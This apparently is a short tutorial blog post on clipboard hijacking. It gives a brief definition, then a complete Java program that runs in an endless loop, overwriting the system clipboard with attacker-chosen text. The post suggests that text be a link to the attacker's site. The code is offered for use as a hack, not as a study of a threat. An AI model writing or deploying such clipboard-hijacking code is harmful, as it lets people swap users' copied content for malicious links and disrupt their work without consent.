What is Clipboard?

The clipboard is a special location in your computer's memory that temporarily stores data that has been cut or copied from a document. This data can then be pasted to a new location. The clipboard will typically hold its information until you cut or copy something else, or log out of the computer. For example, a user may copy information from a word processor and paste that information into an e-mail message.

What is Clipboard Hijack?

A clipboard hijacking is an exploit in which the attacker gains control of the victim'sclipboard and replaces its contents with their own data, such as a link to a malicious Web site.For more details see here.

Hacking clipboard using java.

Our java code will repeatedly change clipboard text with the hackers text, may be a irritating line ,or a URL to your site.

We will use the Toolkit class to get the system clipboard and then we will use the Clipboard class to change the content of clipboard.

Below is the complete java code .

//code by quadgen
//this code hack the clipboard
import java.awt.*;
import java.awt.datatransfer.*;
class HackTheClipboard
{
    static String text = "Your text here";
    public static void main(String args[])
    {
        while(true)
        {
            Clipboard clipboard ;
            StringSelection stringSelection = new StringSelection(text);
            try{
                clipboard=Toolkit.getDefaultToolkit().getSystemClipboard();
                clipboard.setContents(stringSelection, stringSelection);    
            }
            catch(Exception e)
            {
                /*error may occur if the user and the program both will try to access

 clipboard at the same time just let the code to compile as the clipbrd may be free after 

some time */

                continue;

            }
        }
    }
               

}
